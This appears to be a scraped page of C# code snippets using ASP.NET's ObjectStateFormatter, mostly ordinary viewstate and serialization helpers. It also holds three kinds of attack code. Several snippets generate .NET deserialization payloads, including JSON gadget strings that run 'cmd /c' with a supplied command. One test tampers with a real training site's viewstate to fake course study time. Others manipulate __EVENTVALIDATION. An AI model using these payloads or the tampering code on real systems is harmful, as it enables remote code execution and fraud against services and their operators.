Ejemplo n.º 1
0
        public void SerializeOverloads()
        {
            ObjectStateFormatter osf = new ObjectStateFormatter();
            string s1 = osf.Serialize(String.Empty);
            string s2;

            using (MemoryStream ms = new MemoryStream()) {
                osf.Serialize(ms, String.Empty);
                s2 = Convert.ToBase64String(ms.ToArray());
            }
            Assert.AreEqual(s1, s2, "identical");
        }
Ejemplo n.º 2
0
        public static byte[] Serialize(object obj, bool compress)
        {
            if (obj == null)
            {
                return(null);
            }
            byte[]       buf    = null;
            MemoryStream stream = MemoryStreamStacker.GetMemoryStream();

            try
            {
                InnerStateFormatter.Serialize(stream, obj);
                stream.SetLength(stream.Position);
                buf = stream.ToArray();
                if (compress)
                {
                    buf = CompressHelper.CompressBytes(buf);
                }
            }
            finally
            {
                MemoryStreamStacker.ReleaseMemoryStream(stream);
            }
            return(buf);
        }
Ejemplo n.º 3
0
        public static string ObjectStateFormatter_serialize(object myobj)
        {
            ObjectStateFormatter sf = new ObjectStateFormatter();
            MemoryStream         ms = new MemoryStream();

            sf.Serialize(ms, myobj);
            return(Convert.ToBase64String(ms.ToArray()));
        }
Ejemplo n.º 4
0
        public string GetState()
        {
#if !NETCOREAPP3_0
            var formatter = new ObjectStateFormatter();
            return(formatter.Serialize(this));
#endif
            return(null);
        }
        protected virtual string SerializeViewState(object viewState, out string hash)
        {
            ObjectStateFormatter formatter = new ObjectStateFormatter();
            var vstate = formatter.Serialize(viewState);

            hash = MD5HashHelper.HashUsingDefaultEncoding(vstate ?? string.Empty);
            return(vstate);
        }
Ejemplo n.º 6
0
    SavePageStateToPersistenceMedium(object viewState)
    {
        MemoryStream ms = new MemoryStream();

        _formatter.Serialize(ms, viewState);
        byte[] viewStateArray = ms.ToArray();
        ClientScript.RegisterHiddenField("__COMPRESSEDVIEWSTATE",
                                         Convert.ToBase64String(CompressViewState.Compress(viewStateArray)));
    }
Ejemplo n.º 7
0
        internal static string GetSerializedString(object data)
        {
            string dataString;

            ObjectStateFormatter formatter = new ObjectStateFormatter();

            if (data is UploadSession)
            {
                dataString = "session-" + ((UploadSession)data).Serialize();
            }
            else if (data is UploadRequest)
            {
                dataString = "request-" + ((UploadRequest)data).Serialize();
            }
            else if (data is IEnumerable <UploadSession> )
            {
                List <string> serializedStrings = new List <string>();

                foreach (UploadSession session in (IEnumerable <UploadSession>)data)
                {
                    serializedStrings.Add(session.Serialize());
                }

                dataString = "sessionlist-" + formatter.Serialize(serializedStrings.ToArray());
            }
            else if (data is IEnumerable <UploadRequest> )
            {
                List <string> serializedStrings = new List <string>();

                foreach (UploadRequest request in (IEnumerable <UploadRequest>)data)
                {
                    serializedStrings.Add(request.Serialize());
                }

                dataString = "requestlist-" + formatter.Serialize(serializedStrings.ToArray());
            }
            else
            {
                dataString = formatter.Serialize(data);
            }

            // TODO: encrypt
            return(dataString);
        }
Ejemplo n.º 8
0
        private static AntiForgeryData CreateEncryptedToken(string salt)
        {
            byte[]               valueData      = new byte[0x10];
            byte[]               systemSaltData = new byte[0x5];
            AntiForgeryData      token          = new AntiForgeryData();
            Triplet              triplet        = new Triplet();
            ObjectStateFormatter formatter      = new ObjectStateFormatter();

            try
            {
                Rng.GetBytes(valueData);
                Rng.GetBytes(systemSaltData);

                triplet.First = Convert.ToBase64String(valueData);
                triplet.Third = Convert.ToBase64String(systemSaltData);

                byte[] cookieBytes;

                using (MemoryStream stream = new MemoryStream())
                {
                    formatter.Serialize(stream, triplet);
                    cookieBytes = stream.ToArray();
                }

                token.CookieValue = MachineKey.Protect(cookieBytes, "Authentication token").ToHexString();
//                token.CookieValue = MachineKey.Encode(cookieBytes, MachineKeyProtection.All);

                Rng.GetBytes(systemSaltData);

                triplet.Second = salt;
                triplet.Third  = Convert.ToBase64String(systemSaltData);

                token.FormToken = MachineKey.Protect(Encoding.UTF8.GetBytes(formatter.Serialize(triplet)), "Authentication token").ToHexString();
//                token.FormToken = MachineKey.Encode(Encoding.UTF8.GetBytes(formatter.Serialize(triplet)), MachineKeyProtection.All);
                token.Value = (string)triplet.First;

                return(token);
            }
            catch (Exception)
            {
                throw new HttpAntiForgeryException();
            }
        }
    protected override void SavePageStateToPersistenceMedium(object viewState)
    {
        var ms = new MemoryStream();

        _formatter.Serialize(ms, viewState);
        var viewStateBytes = ms.ToArray();

        ClientScript.RegisterHiddenField(CompressedViewstateKey
                                         , Convert.ToBase64String(Compress(viewStateBytes)));
    }
Ejemplo n.º 10
0
        public string Serialize(T obj)
        {
            var ser = new ObjectStateFormatter();

            using (var stream = new MemoryStream())
            {
                ser.Serialize(stream, obj);
                return(Convert.ToBase64String(stream.ToArray()));
            }
        }
Ejemplo n.º 11
0
        /// <summary>
        /// This is used to try and brute force the values.  This didn't work out that well.
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void button5_Click(object sender, EventArgs e)
        {
            _arrayList = new ArrayList();
            for (int i = 0; i < int.MaxValue / 2; i++)
            {
                _arrayList.Add(i);
            }
            ObjectStateFormatter _formatter = new ObjectStateFormatter();

            txtModifiedEventString.Text = _formatter.Serialize(_arrayList);
        }
        private byte[] SerializeInternal(IStateFormatter StateFormatter, object viewState)
        {
            ObjectStateFormatter format       = (ObjectStateFormatter)StateFormatter;
            MemoryStream         memoryStream = (MemoryStream)_GetMemoryStream.Invoke(format, null);

            format.Serialize(memoryStream, viewState);
            memoryStream.SetLength(memoryStream.Position);
            byte[] bytes = new byte[memoryStream.Length];
            Array.Copy(memoryStream.GetBuffer(), bytes, memoryStream.Length);
            memoryStream.Position = 0;
            memoryStream.SetLength(0);
            return(bytes);
        }
Ejemplo n.º 13
0
        private static AntiForgeryData Decrypt(string value, ObjectStateFormatter formatter, Triplet triplet, string salt, AntiForgeryData token)
        {
            byte[] systemSalt = new byte[0x5];
            Rng.GetBytes(systemSalt);

            triplet.Second = salt;
            triplet.Third  = Convert.ToBase64String(systemSalt);

            token.Value       = (string)triplet.First;
            token.CookieValue = value;
            token.FormToken   = MachineKey.Protect(Encoding.UTF8.GetBytes(formatter.Serialize(triplet)), "Authentication token").ToHexString();
//            token.FormToken = MachineKey.Encode(Encoding.UTF8.GetBytes(formatter.Serialize(triplet)), MachineKeyProtection.All);

            return(token);
        }
Ejemplo n.º 14
0
 /// <summary>
 /// SavePageStateToPersistenceMedium - Compress Gzip ViewState
 /// </summary>
 protected override void SavePageStateToPersistenceMedium(object viewState)
 {
     try
     {
         byte[] viewStateArray;
         using (MemoryStream memoryStream = new MemoryStream())
         {
             _objectStateFormatter.Serialize(memoryStream, viewState);
             viewStateArray = memoryStream.ToArray();
         }
         base.SavePageStateToPersistenceMedium(Convert.ToBase64String(Compressor.Compress(viewStateArray)));
     }
     catch
     {
         base.SavePageStateToPersistenceMedium(viewState);
     }
 }
Ejemplo n.º 15
0
    public static void Main()
    {
        string SortDirection  = "ASC";
        string SelectedColumn = "Employee";
        int    CurrentPage    = 1;

// <snippet1>

        ArrayList controlProperties = new ArrayList(3);

        controlProperties.Add(SortDirection);
        controlProperties.Add(SelectedColumn);
        controlProperties.Add(CurrentPage.ToString());

        // Create an ObjectStateFormatter to serialize the ArrayList.
        ObjectStateFormatter formatter = new ObjectStateFormatter();

        // Call the Serialize method to serialize the ArrayList to a Base64 encoded string.
        string base64StateString = formatter.Serialize(controlProperties);
// </snippet1>
    }
Ejemplo n.º 16
0
        public string GetState()
        {
            var formatter = new ObjectStateFormatter();

            return(formatter.Serialize(this));
        }
Ejemplo n.º 17
0
        public object Serialize(object cmdobj, string formatter, Boolean test)
        {
            MemoryStream stream = new MemoryStream();

            if (formatter.ToLower().Equals("binaryformatter"))
            {
                BinaryFormatter fmt = new BinaryFormatter();
                fmt.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        fmt.Deserialize(stream);
                    }
                    catch {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("objectstateformatter"))
            {
                ObjectStateFormatter osf = new ObjectStateFormatter();
                osf.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        osf.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("soapformatter"))
            {
                SoapFormatter sf = new SoapFormatter();
                sf.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        sf.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("netdatacontractserializer"))
            {
                NetDataContractSerializer ndcs = new NetDataContractSerializer();
                ndcs.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        ndcs.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("losformatter"))
            {
                LosFormatter lf = new LosFormatter();
                lf.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        lf.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("json.net"))
            {
                String payload = @"{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c " + cmdobj + @"']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
                if (test)
                {
                    try
                    {
                        Object obj = JsonConvert.DeserializeObject <Object>(payload, new JsonSerializerSettings
                        {
                            TypeNameHandling = TypeNameHandling.Auto
                        });;
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("fastjson"))
            {
                String payload = @"{
    ""$types"":{
        ""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"",
        ""System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"",
        ""System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3""
    },
    ""$type"":""1"",
    ""ObjectInstance"":{
        ""$type"":""2"",
        ""StartInfo"":{
            ""$type"":""3"",
            ""FileName"":""cmd"",
            ""Arguments"":""/c " + cmdobj + @"""
        }
    },
    ""MethodName"":""Start""
}";
                if (test)
                {
                    try
                    {
                        var instance = JSON.ToObject <Object>(payload);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("javascriptserializer"))
            {
                String payload = @"{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd',
            'Arguments':'/c " + cmdobj + @"'
        }
    }
}";
                if (test)
                {
                    try
                    {
                        JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
                        var json_req             = jss.Deserialize <Object>(payload);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }
Ejemplo n.º 18
0
        public object Serialize(object payloadObj, string formatter, InputArgs inputArgs)
        {
            // Disable ActivitySurrogate type protections during generation
            ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");

            MemoryStream stream = new MemoryStream();

            if (formatter.ToLower().Equals("binaryformatter"))
            {
                BinaryFormatter fmt = new BinaryFormatter();
                fmt.Serialize(stream, payloadObj);
                if (inputArgs.Test)
                {
                    try
                    {
                        stream.Position = 0;
                        fmt.Deserialize(stream);
                    }
                    catch (Exception err) {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("objectstateformatter"))
            {
                ObjectStateFormatter osf = new ObjectStateFormatter();
                osf.Serialize(stream, payloadObj);
                if (inputArgs.Test)
                {
                    try
                    {
                        stream.Position = 0;
                        osf.Deserialize(stream);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("soapformatter"))
            {
                SoapFormatter sf = new SoapFormatter();
                sf.Serialize(stream, payloadObj);

                if (inputArgs.Minify)
                {
                    stream.Position = 0;
                    if (inputArgs.UseSimpleType)
                    {
                        stream = XMLMinifier.Minify(stream, new String[] { "Microsoft.PowerShell.Editor" }, null, FormatterType.SoapFormatter, true);
                    }
                    else
                    {
                        stream = XMLMinifier.Minify(stream, null, null, FormatterType.SoapFormatter, true);
                    }
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        stream.Position = 0;
                        sf.Deserialize(stream);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("netdatacontractserializer"))
            {
                NetDataContractSerializer ndcs = new NetDataContractSerializer();
                ndcs.Serialize(stream, payloadObj);

                if (inputArgs.Minify)
                {
                    stream.Position = 0;
                    if (inputArgs.UseSimpleType)
                    {
                        stream = XMLMinifier.Minify(stream, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, null, FormatterType.NetDataContractXML, true);
                    }
                    else
                    {
                        stream = XMLMinifier.Minify(stream, null, null, FormatterType.NetDataContractXML, true);
                    }
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        stream.Position = 0;
                        ndcs.Deserialize(stream);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("losformatter"))
            {
                LosFormatter lf = new LosFormatter();
                lf.Serialize(stream, payloadObj);
                if (inputArgs.Test)
                {
                    try
                    {
                        stream.Position = 0;
                        lf.Deserialize(stream);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(stream.ToArray());
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }
Ejemplo n.º 19
0
        public object Serialize(object cmdobj, string formatter, Boolean test)
        {
            MemoryStream stream = new MemoryStream();

            if (formatter.ToLower().Equals("binaryformatter"))
            {
                BinaryFormatter fmt = new BinaryFormatter();
                fmt.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        fmt.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("objectstateformatter"))
            {
                ObjectStateFormatter osf = new ObjectStateFormatter();
                osf.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        osf.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("soapformatter"))
            {
                SoapFormatter sf = new SoapFormatter();
                sf.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        sf.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("netdatacontractserializer"))
            {
                NetDataContractSerializer ndcs = new NetDataContractSerializer();
                ndcs.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        ndcs.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("losformatter"))
            {
                LosFormatter lf = new LosFormatter();
                lf.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        lf.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }
Ejemplo n.º 20
0
        public static string StringSerialize(object source)
        {
            ObjectStateFormatter osf = new ObjectStateFormatter();

            return(osf.Serialize(source));
        }
Ejemplo n.º 21
0
        public void TestMethod2()
        {
            string viewstate  = string.Empty;
            string validation = string.Empty;

            int bookId          = 32;
            int studyPlanBookId = 69;
            int learned         = 143;

            string         url     = string.Format("http://nankaiqu.fxlxm.teacher.com.cn/GuoPeiAdmin/CourseStudy/RecordTimeNew.aspx?bookid={0}&StudyPlanBookID={1}", bookId, studyPlanBookId);
            HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(new Uri(url));

            request.Method  = WebRequestMethods.Http.Get;
            request.Referer =
                string.Format("http://nankaiqu.fxlxm.teacher.com.cn/GuoPeiAdmin/CourseStudy/StudyfrmNew.aspx?StudyPlanBookID={0}", bookId);
            request.Accept      = "text/html, application/xhtml+xml, */*";
            request.ContentType = "application/x-www-form-urlencoded";
            request.Headers.Add("Accept-Language", "en-US");
            request.Headers.Add("Accept-Encoding", "gzip,deflate");
            request.KeepAlive = true;
            request.Headers.Add("Cache-Control", "no-cache");

            HttpWebResponse response = (HttpWebResponse)request.GetResponse();

            long total   = response.ContentLength;
            int  current = 0;

            byte[]        content = new byte[1024];
            StringBuilder sb      = new StringBuilder();

            using (Stream rs = response.GetResponseStream())
            {
                if (rs != null)
                {
                    while (total > current)
                    {
                        current += rs.Read(content, 0, content.Length);
                        sb.Append(Encoding.UTF8.GetString(content, 0, content.Length));
                    }

                    rs.Flush();
                }
                else
                {
                    return;
                }
            }

            string form = sb.ToString();

            Match m = Regex.Match(form,
                                  "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(?<viewstate>.*?)\" />");

            if (m.Success)
            {
                viewstate = m.Groups["viewstate"].Value;
            }

            m = Regex.Match(form,
                            "<input type=\"hidden\" name=\"__EVENTVALIDATION\" id=\"__EVENTVALIDATION\" value=\"(?<validation>.*?)\"\\s*/>");
            if (m.Success)
            {
                validation = m.Groups["validation"].Value;
            }

            string suffix;



            ObjectStateFormatter parser = new ObjectStateFormatter();
            Pair dviewState             = (Pair)parser.Deserialize(viewstate);

            Pair      one    = (Pair)(dviewState.First ?? dviewState.Second);
            Pair      states = (Pair)one.Second;
            ArrayList users  = (ArrayList)states.First;

            // Change start date time
            DateTime started = DateTime.Parse(users[1].ToString());

            users[1] = started.AddMinutes(-20).ToString("yyyy-MM-dd hh:mm:ss");

            bool exist = users.Cast <object>().Any(o => o is IndexedString && (o as IndexedString).Value == "BookID");

            if (!exist)
            {
                users.Add(new IndexedString("BookID"));
                users.Add(bookId.ToString(CultureInfo.InvariantCulture));
            }

            if (states.Second == null)
            {
                ArrayList controls = new ArrayList()
                {
                    3, new Pair()
                    {
                        First  = null,
                        Second = new ArrayList()
                        {
                            13, new Pair()
                            {
                                Second = null,
                                First  = new Pair()
                                {
                                    Second = null,
                                    First  = new ArrayList()
                                    {
                                        new IndexedString("Text"), learned.ToString(CultureInfo.InvariantCulture)
                                    }
                                }
                            }
                        }
                    }
                };

                states.Second = controls;
            }

            viewstate = parser.Serialize(dviewState);
            int    needed      = 7;
            string name        = "教师心理健康与压力管理";
            int    minites     = 20;
            int    txtUserId   = 69973;
            string eventTarget = "timeupdate";
            string eventArg    = string.Empty;

            int passedtime = minites * 60; //17*60;

            request = (HttpWebRequest)HttpWebRequest.Create(new Uri(url));

            request.Method = WebRequestMethods.Http.Post;

            request.Referer =
                string.Format("http://nankaiqu.fxlxm.teacher.com.cn/GuoPeiAdmin/CourseStudy/RecordTimeNew.aspx?bookid={0}&StudyPlanBookID={1}", bookId, studyPlanBookId);
            request.Accept      = "text/html, application/xhtml+xml, */*";
            request.ContentType = "application/x-www-form-urlencoded";
            request.Headers.Add("Accept-Language", "en-US");
            request.Headers.Add("Accept-Encoding", "gzip,deflate");
            request.KeepAlive = true;
            request.Headers.Add("Cache-Control", "no-cache");

            form =
                string.Format(
                    "__EVENTTARGET={0}&__EVENTARGUMENT={1}&__VIEWSTATE={2}&txtUserId={3}&passedtime={4}&__EVENTVALIDATION={5}",
                    eventTarget, eventArg, viewstate, txtUserId, passedtime, validation);
            content = Encoding.Default.GetBytes(form);
            request.ContentLength = content.Length;
            using (Stream s = request.GetRequestStream())
            {
                s.Write(content, 0, content.Length);
                s.Flush();
            }

            response = (HttpWebResponse)request.GetResponse();

            if (response.StatusCode == HttpStatusCode.OK)
            {
                //long total = response.ContentLength;
                current = 1;
                content = new byte[1024];
                sb      = new StringBuilder();
                using (Stream rs = response.GetResponseStream())
                {
                    if (rs != null)
                    {
                        while (current > 0)
                        {
                            current = rs.Read(content, 0, content.Length);
                            sb.Append(Encoding.UTF8.GetString(content, 0, content.Length));
                        }
                        rs.Flush();
                    }
                    else
                    {
                        Console.WriteLine("{1}: {0} -> Failed, Cannot get response stream.", name,
                                          DateTime.Now.ToShortTimeString());
                        return;
                    }
                }

                form = sb.ToString();

                string pattern1 = "(alert\\(\\'你最后一次更新时间是.*?目前系统时间为.*?时间还不够20分钟,所以这次更新时间操作无效。\\'\\));|(alert\\(\\'计时出错,重新计时!\\'\\);)";
                Regex  r        = new Regex(pattern1, RegexOptions.Compiled);
                m = r.Match(form);
                if (!m.Success)
                {
                    Console.WriteLine("{3}: {0} -> Updated {1}, Remaining {2}", name, minites, needed, DateTime.Now.ToShortTimeString());
                }
                else
                {
                    Console.WriteLine("{1}: {0} -> Failed, {2}", name, DateTime.Now.ToShortTimeString(), "< 20 mins or timer error");
                }
            }
            else
            {
                Console.WriteLine("{1}: {0} -> Failed, {2}", name, DateTime.Now.ToShortTimeString(), response.StatusDescription);
            }
        }
        /// <summary>
        /// Serialized an array list of hash codes back to the string used for __EVENTVALIDATION.
        /// </summary>
        /// <param name="arrayList"></param>
        /// <returns></returns>
        public static string SerializeArrayToString(ArrayList arrayList)
        {
            ObjectStateFormatter _formatter = new ObjectStateFormatter();

            return(_formatter.Serialize(arrayList));
        }
Ejemplo n.º 23
0
        public object Serialize(object cmdobj, string formatter, Boolean test)
        {
            // Disable ActivitySurrogate type protections during generation
            ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");

            MemoryStream stream = new MemoryStream();

            if (formatter.ToLower().Equals("binaryformatter"))
            {
                BinaryFormatter fmt = new BinaryFormatter();
                fmt.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        fmt.Deserialize(stream);
                    }
                    catch {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("objectstateformatter"))
            {
                ObjectStateFormatter osf = new ObjectStateFormatter();
                osf.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        osf.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("soapformatter"))
            {
                SoapFormatter sf = new SoapFormatter();
                sf.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        sf.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("netdatacontractserializer"))
            {
                NetDataContractSerializer ndcs = new NetDataContractSerializer();
                ndcs.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        ndcs.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else if (formatter.ToLower().Equals("losformatter"))
            {
                LosFormatter lf = new LosFormatter();
                lf.Serialize(stream, cmdobj);
                if (test)
                {
                    try
                    {
                        stream.Position = 0;
                        lf.Deserialize(stream);
                    }
                    catch
                    {
                    }
                }
                return(stream.ToArray());
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }
Ejemplo n.º 24
0
        /// <summary>
        /// Returns this <see cref="UploadSession" /> instance serialized into a string.
        /// </summary>
        /// <returns>The serialized string.</returns>
        public string Serialize()
        {
            ObjectStateFormatter formatter = new ObjectStateFormatter();

            return(formatter.Serialize(ToObjectArray()));
        }